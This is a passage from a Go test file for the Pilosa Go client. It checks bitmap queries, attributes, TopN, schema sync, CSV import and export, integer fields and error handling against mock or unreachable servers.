nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif response.Column() != nil {\n\t\tt.Fatalf(\"No columns should be returned if it wasn't explicitly requested\")\n\t}\n\tresponse, err = client.Query(testFrame.Bitmap(1), &QueryOptions{Columns: true})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tcolumns := response.Columns()\n\tif len(columns) != 1 {\n\t\tt.Fatalf(\"Column count should be == 1\")\n\t}\n\tif columns[0].ID != 100 {\n\t\tt.Fatalf(\"Column ID should be == 100\")\n\t}\n\tif !reflect.DeepEqual(columns[0].Attributes, targetAttrs) {\n\t\tt.Fatalf(\"Column attrs does not match\")\n\t}\n\n\tif !reflect.DeepEqual(response.Column(), columns[0]) {\n\t\tt.Fatalf(\"Columns() should be equivalent to first column in the response\")\n\t}\n}\n\nfunc TestSetRowAttrs(t *testing.T) {\n\tReset()\n\tclient := getClient()\n\ttargetAttrs := map[string]interface{}{\n\t\t\"name\": \"\",\n\t\t\"age\": int64(95),\n\t\t\"registered\": true,\n\t\t\"height\": 1.83,\n\t}\n\t_, err := client.Query(testFrame.SetBit(1, 100), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = client.Query(testFrame.SetRowAttrs(1, targetAttrs), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresponse, err := client.Query(testFrame.Bitmap(1), &QueryOptions{Columns: true})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif !reflect.DeepEqual(targetAttrs, response.Result().Bitmap.Attributes) {\n\t\tt.Fatalf(\"Bitmap attributes should be set\")\n\t}\n}\n\nfunc TestOrmCount(t *testing.T) {\n\tclient := getClient()\n\tcountFrame, err := index.Frame(\"count-test\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(countFrame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tqry := index.BatchQuery(\n\t\tcountFrame.SetBit(10, 20),\n\t\tcountFrame.SetBit(10, 21),\n\t\tcountFrame.SetBit(15, 25),\n\t)\n\tclient.Query(qry, nil)\n\tresponse, err := client.Query(index.Count(countFrame.Bitmap(10)), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif response.Result().Count != 2 {\n\t\tt.Fatalf(\"Count should be 2\")\n\t}\n}\n\nfunc TestIntersectReturns(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{\n\t\tRowLabel: \"segment_id\",\n\t}\n\tframe, err := index.Frame(\"segments\", options)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tqry1 := index.BatchQuery(\n\t\tframe.SetBit(2, 10),\n\t\tframe.SetBit(2, 15),\n\t\tframe.SetBit(3, 10),\n\t\tframe.SetBit(3, 20),\n\t)\n\tclient.Query(qry1, nil)\n\tqry2 := index.Intersect(frame.Bitmap(2), frame.Bitmap(3))\n\tresponse, err := client.Query(qry2, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(response.Results()) != 1 {\n\t\tt.Fatal(\"There must be 1 result\")\n\t}\n\tif !reflect.DeepEqual(response.Result().Bitmap.Bits, []uint64{10}) {\n\t\tt.Fatal(\"Returned bits must be: [10]\")\n\t}\n}\n\nfunc TestTopNReturns(t *testing.T) {\n\tclient := getClient()\n\tframe, err := index.Frame(\"topn_test\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tqry := index.BatchQuery(\n\t\tframe.SetBit(10, 5),\n\t\tframe.SetBit(10, 10),\n\t\tframe.SetBit(10, 15),\n\t\tframe.SetBit(20, 5),\n\t\tframe.SetBit(30, 5),\n\t)\n\tclient.Query(qry, nil)\n\t// XXX: The following is required to make this test pass. See: https://github.com/pilosa/pilosa/issues/625\n\tclient.HttpRequest(\"POST\", \"/recalculate-caches\", nil, nil)\n\tresponse, err := client.Query(frame.TopN(2), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\titems := response.Result().CountItems\n\tif len(items) != 2 {\n\t\tt.Fatalf(\"There should be 2 count items\")\n\t}\n\titem := items[0]\n\tif item.ID != 10 {\n\t\tt.Fatalf(\"Item[0] ID should be 10\")\n\t}\n\tif item.Count != 3 {\n\t\tt.Fatalf(\"Item[0] Count should be 3\")\n\t}\n}\n\nfunc TestCreateDeleteIndexFrame(t *testing.T) {\n\tclient := getClient()\n\tindex1, err := NewIndex(\"to-be-deleted\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tframe1, err := index1.Frame(\"foo\", nil)\n\terr = client.CreateIndex(index1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.CreateFrame(frame1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.DeleteFrame(frame1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.DeleteIndex(index1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestEnsureIndexExists(t *testing.T) {\n\tclient := getClient()\n\terr := client.EnsureIndex(index)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestCreateIndexWithTimeQuantum(t *testing.T) {\n\tclient := getClient()\n\toptions := &IndexOptions{TimeQuantum: TimeQuantumYear}\n\tindex, err := NewIndex(\"index-with-timequantum\", options)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.CreateIndex(index)\n\tdefer client.DeleteIndex(index)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestEnsureFrameExists(t *testing.T) {\n\tclient := getClient()\n\terr := client.EnsureFrame(testFrame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestCreateFrameWithTimeQuantum(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{TimeQuantum: TimeQuantumYear}\n\tframe, err := index.Frame(\"frame-with-timequantum\", options)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.CreateFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestErrorCreatingIndex(t *testing.T) {\n\tclient := getClient()\n\terr := client.CreateIndex(index)\n\tif err == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestErrorCreatingFrame(t *testing.T) {\n\tclient := getClient()\n\terr := client.CreateFrame(testFrame)\n\tif err == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestIndexAlreadyExists(t *testing.T) {\n\tclient := getClient()\n\terr := client.CreateIndex(index)\n\tif err != ErrorIndexExists {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestQueryWithEmptyClusterFails(t *testing.T) {\n\tclient := NewClientWithCluster(DefaultCluster(), nil)\n\t_, err := client.Query(index.RawQuery(\"won't run\"), nil)\n\tif err != ErrorEmptyCluster {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestMaxHostsFail(t *testing.T) {\n\turi, _ := NewURIFromAddress(\"does-not-resolve.foo.bar\")\n\tcluster := NewClusterWithHost(uri, uri, uri, uri)\n\tclient := NewClientWithCluster(cluster, nil)\n\t_, err := client.Query(index.RawQuery(\"foo\"), nil)\n\tif err != ErrorTriedMaxHosts {\n\t\tt.Fatalf(\"ErrorTriedMaxHosts error should be returned\")\n\t}\n}\n\nfunc TestQueryInverseBitmap(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{\n\t\tRowLabel: \"row_label\",\n\t\tInverseEnabled: true,\n\t}\n\tf1, err := index.Frame(\"f1-inversable\", options)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(f1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = client.Query(\n\t\tindex.BatchQuery(\n\t\t\tf1.SetBit(1000, 5000),\n\t\t\tf1.SetBit(1000, 6000),\n\t\t\tf1.SetBit(3000, 5000)), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresponse, err := client.Query(\n\t\tindex.BatchQuery(\n\t\t\tf1.Bitmap(1000),\n\t\t\tf1.InverseBitmap(5000)), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(response.Results()) != 2 {\n\t\tt.Fatalf(\"Response should contain 2 results\")\n\t}\n\tbits1 := response.Results()[0].Bitmap.Bits\n\ttargetBits1 := []uint64{5000, 6000}\n\tif !reflect.DeepEqual(targetBits1, bits1) {\n\t\tt.Fatalf(\"bits should be: %v, but it is: %v\", targetBits1, bits1)\n\t}\n\tbits2 := response.Results()[1].Bitmap.Bits\n\ttargetBits2 := []uint64{1000, 3000}\n\tif !reflect.DeepEqual(targetBits2, bits2) {\n\t\tt.Fatalf(\"bits should be: %v, but it is: %v\", targetBits2, bits2)\n\t}\n}\n\nfunc TestQueryFailsIfAddressNotResolved(t *testing.T) {\n\turi, _ := NewURIFromAddress(\"nonexisting.domain.pilosa.com:3456\")\n\tclient := NewClientWithURI(uri)\n\t_, err := client.Query(index.RawQuery(\"bar\"), nil)\n\tif err == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestQueryFails(t *testing.T) {\n\tclient := getClient()\n\t_, err := client.Query(index.RawQuery(\"Invalid query\"), nil)\n\tif err == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestInvalidHttpRequest(t *testing.T) {\n\tclient := getClient()\n\t_, _, err := client.httpRequest(\"INVALID METHOD\", \"/foo\", nil, nil, 0)\n\tif err == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestErrorResponseNotRead(t *testing.T) {\n\tserver := getMockServer(500, []byte(\"Unknown error\"), 512)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tresponse, err := client.Query(testFrame.Bitmap(1), nil)\n\tif err == nil {\n\t\tt.Fatalf(\"Got response: %v\", response)\n\t}\n}\n\nfunc TestResponseNotRead(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"some content\"), 512)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tresponse, err := client.Query(testFrame.Bitmap(1), nil)\n\tif err == nil {\n\t\tt.Fatalf(\"Got response: %v\", response)\n\t}\n}\n\nfunc TestInvalidResponse(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"unmarshal this!\"), -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tresponse, err := client.Query(index.RawQuery(\"don't care\"), nil)\n\tif err == nil {\n\t\tt.Fatalf(\"Got response: %v\", response)\n\t}\n}\n\nfunc TestSchema(t *testing.T) {\n\tclient := getClient()\n\tschema, err := client.Schema()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(schema.indexes) < 1 {\n\t\tt.Fatalf(\"There should be at least 1 index in the schema\")\n\t}\n}\n\nfunc TestSync(t *testing.T) {\n\tclient := getClient()\n\tremoteIndex, _ := NewIndex(\"remote-index-1\", nil)\n\terr := client.EnsureIndex(remoteIndex)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tremoteFrame, _ := remoteIndex.Frame(\"remote-frame-1\", nil)\n\terr = client.EnsureFrame(remoteFrame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tschema1 := NewSchema()\n\tindex11, _ := schema1.Index(\"diff-index1\", nil)\n\tindex11.Frame(\"frame1-1\", nil)\n\tindex11.Frame(\"frame1-2\", nil)\n\tindex12, _ := schema1.Index(\"diff-index2\", nil)\n\tindex12.Frame(\"frame2-1\", nil)\n\tschema1.Index(remoteIndex.Name(), nil)\n\n\terr = client.SyncSchema(schema1)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient.DeleteIndex(remoteIndex)\n\tclient.DeleteIndex(index11)\n\tclient.DeleteIndex(index12)\n}\n\nfunc TestSyncFailure(t *testing.T) {\n\tserver := getMockServer(404, []byte(\"sorry, not found\"), -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\terr = client.SyncSchema(NewSchema())\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestErrorRetrievingSchema(t *testing.T) {\n\tserver := getMockServer(404, []byte(\"sorry, not found\"), -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.Schema()\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestInvalidSchemaNoNodes(t *testing.T) {\n\tdata := []byte(`{\"status\": {\"Nodes\": []}}`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.Schema()\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestInvalidSchemaInvalidIndex(t *testing.T) {\n\tdata := []byte(`\n\t\t{\n\t\t\t\"status\": {\n\t\t\t\t\"Nodes\": [{\n\t\t\t\t\t\"Indexes\": [{\n\t\t\t\t\t\t\"Name\": \"**INVALID**\"\n\t\t\t\t\t}]\n\t\t\t\t}]\n\t\t\t}\n\t\t}\n\t`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.Schema()\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestInvalidSchemaInvalidFrame(t *testing.T) {\n\tdata := []byte(`\n\t\t{\n\t\t\t\"status\": {\n\t\t\t\t\"Nodes\": [{\n\t\t\t\t\t\"Indexes\": [{\n\t\t\t\t\t\t\"Name\": \"myindex\",\n\t\t\t\t\t\t\"Frames\": [{\n\t\t\t\t\t\t\t\"Name\": \"**INVALID**\"\n\t\t\t\t\t\t}]\n\t\t\t\t\t}]\n\t\t\t\t}]\n\t\t\t}\n\t\t}\n\t`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\t_, err = client.Schema()\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestCSVImport(t *testing.T) {\n\tclient := getClient()\n\ttext := `10,7\n\t\t10,5\n\t\t2,3\n\t\t7,1`\n\titerator := NewCSVBitIterator(strings.NewReader(text))\n\tframe, err := index.Frame(\"importframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.ImportFrame(frame, iterator, 10)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttarget := []uint64{3, 1, 5}\n\tbq := index.BatchQuery(\n\t\tframe.Bitmap(2),\n\t\tframe.Bitmap(7),\n\t\tframe.Bitmap(10),\n\t)\n\tresponse, err := client.Query(bq, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(response.Results()) != 3 {\n\t\tt.Fatalf(\"Result count should be 3\")\n\t}\n\tfor i, result := range response.Results() {\n\t\tbr := result.Bitmap\n\t\tif target[i] != br.Bits[0] {\n\t\t\tt.Fatalf(\"%d != %d\", target[i], br.Bits[0])\n\t\t}\n\t}\n}\n\nfunc TestValueCSVImport(t *testing.T) {\n\tclient := getClient()\n\ttext := `10,7\n\t\t7,1`\n\titerator := NewCSVValueIterator(strings.NewReader(text))\n\tframeOptions := &FrameOptions{}\n\tframeOptions.AddIntField(\"foo\", 0, 100)\n\tframe, err := index.Frame(\"importvalueframe\", frameOptions)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tbq := index.BatchQuery(\n\t\tframe.SetBit(1, 10),\n\t\tframe.SetBit(1, 7),\n\t)\n\tresponse, err := client.Query(bq, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.ImportValueFrame(frame, \"foo\", iterator, 10)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresponse, err = client.Query(frame.Sum(frame.Bitmap(1), \"foo\"), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ttarget := int64(8)\n\tif target != response.Result().Sum {\n\t\tt.Fatalf(\"%d != %d\", target, response.Result().Sum)\n\t}\n}\n\nfunc TestCSVExport(t *testing.T) {\n\tclient := getClient()\n\tframe, err := index.Frame(\"exportframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient.EnsureFrame(frame)\n\t_, err = client.Query(index.BatchQuery(\n\t\tframe.SetBit(1, 1),\n\t\tframe.SetBit(1, 10),\n\t\tframe.SetBit(2, 1048577),\n\t), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\ttargetBits := []Bit{\n\t\t{RowID: 1, ColumnID: 1},\n\t\t{RowID: 1, ColumnID: 10},\n\t\t{RowID: 2, ColumnID: 1048577},\n\t}\n\tbits := []Bit{}\n\titerator, err := client.ExportFrame(frame, \"standard\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor {\n\t\tbit, err := iterator.NextBit()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tbits = append(bits, bit)\n\t}\n\tif !reflect.DeepEqual(targetBits, bits) {\n\t\tt.Fatalf(\"ExportFrame should export the frame\")\n\t}\n}\n\nfunc TestCSVExportFailure(t *testing.T) {\n\tserver := getMockServer(404, []byte(\"sorry, not found\"), -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\tframe, err := index.Frame(\"exportframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = client.ExportFrame(frame, \"standard\")\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestExportReaderFailure(t *testing.T) {\n\tserver := getMockServer(404, []byte(\"sorry, not found\"), -1)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tframe, err := index.Frame(\"exportframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsliceURIs := map[uint64]*URI{\n\t\t0: uri,\n\t}\n\tclient := NewClientWithURI(uri)\n\treader := newExportReader(client, sliceURIs, frame, \"standard\")\n\tbuf := make([]byte, 1000)\n\t_, err = reader.Read(buf)\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestExportReaderReadBodyFailure(t *testing.T) {\n\tserver := getMockServer(200, []byte(\"not important\"), 100)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tframe, err := index.Frame(\"exportframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tsliceURIs := map[uint64]*URI{0: uri}\n\tclient := NewClientWithURI(uri)\n\treader := newExportReader(client, sliceURIs, frame, \"standard\")\n\tbuf := make([]byte, 1000)\n\t_, err = reader.Read(buf)\n\tif err == nil {\n\t\tt.Fatal(\"should have failed\")\n\t}\n}\n\nfunc TestFetchFragmentNodes(t *testing.T) {\n\tclient := getClient()\n\tnodes, err := client.fetchFragmentNodes(index.Name(), 0)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(nodes) != 1 {\n\t\tt.Fatalf(\"1 node should be returned\")\n\t}\n}\n\nfunc TestFetchStatus(t *testing.T) {\n\tclient := getClient()\n\tstatus, err := client.status()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(status.Nodes) == 0 {\n\t\tt.Fatalf(\"There should be at least 1 host in the status\")\n\t}\n\tif len(status.Nodes[0].Indexes) == 0 {\n\t\tt.Fatalf(\"There should be at least 1 index in the node\")\n\t}\n\tif len(status.Nodes[0].Indexes[0].Frames) == 0 {\n\t\tt.Fatalf(\"There should be at least 1 frame in the index\")\n\t}\n\tif len(status.Nodes[0].Indexes[0].Slices) == 0 {\n\t\tt.Fatalf(\"There should be at least 1 slice in the index\")\n\t}\n}\n\nfunc TestFetchViews(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{\n\t\tTimeQuantum: \"YMD\",\n\t}\n\tframe, err := index.Frame(\"viewsframe\", options)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient.EnsureFrame(frame)\n\tclient.Query(frame.SetBitTimestamp(10, 100, time.Now()), nil)\n\tviews, err := client.Views(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(views) != 4 {\n\t\tt.Fatalf(\"4 views should have been returned\")\n\t}\n}\n\nfunc TestRangeFrame(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{}\n\toptions.AddIntField(\"foo\", 10, 20)\n\tframe, _ := index.Frame(\"rangeframe\", options)\n\terr := client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = client.Query(index.BatchQuery(\n\t\tframe.SetBit(1, 10),\n\t\tframe.SetBit(1, 100),\n\t\tframe.SetIntFieldValue(10, \"foo\", 11),\n\t\tframe.SetIntFieldValue(100, \"foo\", 15),\n\t), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresp, err := client.Query(frame.Sum(frame.Bitmap(1), \"foo\"), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif resp.Result().Sum != 26 {\n\t\tt.Fatalf(\"Sum 26 != %d\", resp.Result().Sum)\n\t}\n\tif resp.Result().Count != 2 {\n\t\tt.Fatalf(\"Count 2 != %d\", resp.Result().Count)\n\t}\n\n\tresp, err = client.Query(frame.Field(\"foo\").LT(15), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(resp.Result().Bitmap.Bits) != 1 {\n\t\tt.Fatalf(\"Count 1 != %d\", len(resp.Result().Bitmap.Bits))\n\t}\n\tif resp.Result().Bitmap.Bits[0] != 10 {\n\t\tt.Fatalf(\"Bit 10 != %d\", resp.Result().Bitmap.Bits[0])\n\t}\n}\n\nfunc TestCreateIntField(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{RangeEnabled: true}\n\tframe, _ := index.Frame(\"rangeframe-addfield\", options)\n\terr := client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.CreateIntField(frame, \"foo\", 10, 20)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = client.Query(index.BatchQuery(\n\t\tframe.SetBit(1, 10),\n\t\tframe.SetBit(1, 100),\n\t\tframe.SetIntFieldValue(10, \"foo\", 11),\n\t\tframe.SetIntFieldValue(100, \"foo\", 15),\n\t), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresp, err := client.Query(frame.Sum(frame.Bitmap(1), \"foo\"), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif resp.Result().Sum != 26 {\n\t\tt.Fatalf(\"Sum 26 != %d\", resp.Result().Sum)\n\t}\n\tif resp.Result().Count != 2 {\n\t\tt.Fatalf(\"Count 2 != %d\", resp.Result().Count)\n\t}\n}\n\nfunc TestDeleteField(t *testing.T) {\n\tclient := getClient()\n\toptions := &FrameOptions{}\n\toptions.AddIntField(\"foo\", 10, 20)\n\tframe, _ := index.Frame(\"rangeframe-deletefield\", options)\n\terr := client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.DeleteField(frame, \"foo\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestExcludeAttrsBits(t *testing.T) {\n\tclient := getClient()\n\tframe, _ := index.Frame(\"excludebitsattrsframe\", nil)\n\terr := client.EnsureFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tattrs := map[string]interface{}{\n\t\t\"foo\": \"bar\",\n\t}\n\t_, err = client.Query(index.BatchQuery(\n\t\tframe.SetBit(1, 100),\n\t\tframe.SetRowAttrs(1, attrs),\n\t), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// test exclude bits.\n\tresp, err := client.Query(frame.Bitmap(1), &QueryOptions{ExcludeBits: true})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(resp.Result().Bitmap.Bits) != 0 {\n\t\tt.Fatalf(\"bits should be excluded\")\n\t}\n\tif len(resp.Result().Bitmap.Attributes) != 1 {\n\t\tt.Fatalf(\"attributes should be included\")\n\t}\n\n\t// test exclude attributes.\n\tresp, err = client.Query(frame.Bitmap(1), &QueryOptions{ExcludeAttrs: true})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif len(resp.Result().Bitmap.Bits) != 1 {\n\t\tt.Fatalf(\"bits should be included\")\n\t}\n\tif len(resp.Result().Bitmap.Attributes) != 0 {\n\t\tt.Fatalf(\"attributes should be excluded\")\n\t}\n}\n\nfunc TestImportBitIteratorError(t *testing.T) {\n\tclient := getClient()\n\tframe, err := index.Frame(\"not-important\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\titerator := NewCSVBitIterator(&BrokenReader{})\n\terr = client.ImportFrame(frame, iterator, 100)\n\tif err == nil {\n\t\tt.Fatalf(\"import frame should fail with broken reader\")\n\t}\n}\n\nfunc TestImportValueIteratorError(t *testing.T) {\n\tclient := getClient()\n\tframe, err := index.Frame(\"not-important\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\titerator := NewCSVValueIterator(&BrokenReader{})\n\terr = client.ImportValueFrame(frame, \"foo\", iterator, 100)\n\tif err == nil {\n\t\tt.Fatalf(\"import value frame should fail with broken reader\")\n\t}\n}\n\nfunc TestImportFailsOnImportBitsError(t *testing.T) {\n\tserver := getMockServer(500, []byte{}, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\terr = client.importBits(\"foo\", \"bar\", 0, []Bit{})\n\tif err == nil {\n\t\tt.Fatalf(\"importBits should fail when fetch fragment nodes fails\")\n\t}\n}\n\nfunc TestValueImportFailsOnImportValueError(t *testing.T) {\n\tserver := getMockServer(500, []byte{}, 0)\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\terr = client.importValues(\"foo\", \"bar\", 0, \"foo\", []FieldValue{})\n\tif err == nil {\n\t\tt.Fatalf(\"importValues should fail when fetch fragment nodes fails\")\n\t}\n}\n\nfunc TestImportFrameFailsIfImportBitsFails(t *testing.T) {\n\tdata := []byte(`[{\"host\":\"non-existing-domain:9999\",\"internalHost\":\"10101\"}]`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\titerator := NewCSVBitIterator(strings.NewReader(\"10,7\"))\n\tframe, err := index.Frame(\"importframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.ImportFrame(frame, iterator, 10)\n\tif err == nil {\n\t\tt.Fatalf(\"ImportFrame should fail if importBits fails\")\n\t}\n}\n\nfunc TestImportValueFrameFailsIfImportValuesFails(t *testing.T) {\n\tdata := []byte(`[{\"host\":\"non-existing-domain:9999\",\"internalHost\":\"10101\"}]`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\titerator := NewCSVValueIterator(strings.NewReader(\"10,7\"))\n\tframe, err := index.Frame(\"importframe\", nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\terr = client.ImportValueFrame(frame, \"foo\", iterator, 10)\n\tif err == nil {\n\t\tt.Fatalf(\"ImportValueFrame should fail if importValues fails\")\n\t}\n}\n\nfunc TestImportBitsFailInvalidNodeAddress(t *testing.T) {\n\tdata := []byte(`[{\"host\":\"10101:\",\"internalHost\":\"doesn'tmatter\"}]`)\n\tserver := getMockServer(200, data, len(data))\n\tdefer server.Close()\n\turi, err := NewURIFromAddress(server.URL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tclient := NewClientWithURI(uri)\n\terr = client.importBits(\"foo\", \"bar\", 0, []Bit{})\n\tif err == nil {\n\t\tt.Fatalf(\"importBits should fail on invalid node host\")\n\t}\n}\n\nfunc TestImportValuesFailInvalidNodeAddress(t *testing.T) {\n\tdata := 